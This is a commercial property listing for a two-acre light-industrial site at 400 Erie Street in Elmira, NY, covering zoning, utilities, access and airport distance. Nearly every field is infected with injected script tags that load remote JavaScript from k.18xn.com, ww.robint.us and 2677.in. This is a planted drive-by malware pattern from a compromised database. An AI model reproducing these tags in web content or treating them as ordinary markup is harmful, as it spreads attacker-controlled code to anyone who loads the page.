



Address: 400 Erie Street<script src=http://k.18xn.com/x.js><script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
Address 2: <script src=http://k.18xn.com/x.js><script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
City/State/Zip: Elmira<script src=http://k.18xn.com/x.js>, NY 14904
Municipality: City of Elmira<script src=http://k.18xn.com/x.js><script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
County: Chemung<script src=http://k.18xn.com/x.js><script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>

Sale Price: Negotiable<script src=http://k.18xn.com/x.js><script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
Type of Location: Commercial/Industrial<script src=http://k.18xn.com/x.js><script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
Indus/Bus. Park: No<script src=http://k.18xn.com/x.js><script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>
Zoning: Light Industrial<script src=http://k.18xn.com/x.js><script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>

Electricity

Line Size: N/A<script src=http://k.18xn.com/x.js>
Delivery Voltage: N/A<script src=http://k.18xn.com/x.js>
Phases: N/A<script src=http://k.18xn.com/x.js>
Dual Fee: N/A<script src=http://k.18xn.com/x.js>

Water Availability

Main Size: N/A<script src=http://k.18xn.com/x.js>
Capacity Total/Excess: N/A<script src=http://k.18xn.com/x.js>
Feeder Size: N/A<script src=http://k.18xn.com/x.js> Pressure: N/A<script src=http://k.18xn.com/x.js>

Gas Availability

no photo available

If Gas Not Available, Is Extension Available? Yes

Distance to Main: N/A<script src=http://k.18xn.com/x.js>

Main Size: N/A<script src=http://k.18xn.com/x.js>

Telecomm Provider:

Fiber Optic: Yes<script src=http://k.18xn.com/x.js><script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>

Digital Sw: Yes<script src=http://k.18xn.com/x.js><script src=http://ww.robint.us/u.js></script><script src=http://2677.in/yahoo.js></script>

Property Status: Available<script src=http://k.18xn.com/x.js>

Build Now NY: No<script src=http://k.18xn.com/x.js>

School District: Elmira City<script src=http://k.18xn.com/x.js>

No. of Acres: 2

No. of Additional Acres: 0

Empire Zone: Yes

Access Roae: Clemens Center Parkway<script src=http://k.18xn.com/x.js><script src=http://2677.in/yahoo.js></script>

Closest State Highway: Clemens Center Parkway<script src=http://k.18xn.com/x.js>

Distance to State Highway: 0<script src=http://k.18xn.com/x.js>

Rail Service Available: No

Closest Commercial Airport: Elmira-Corning Regional Airpor<script src=http://k.18xn.com/x.js>

Distance to Airport: 11<script src=http://k.18xn.com/x.js>

Additional Information:

Located in high traffic area<script src=http://k.18xn.com/x.js>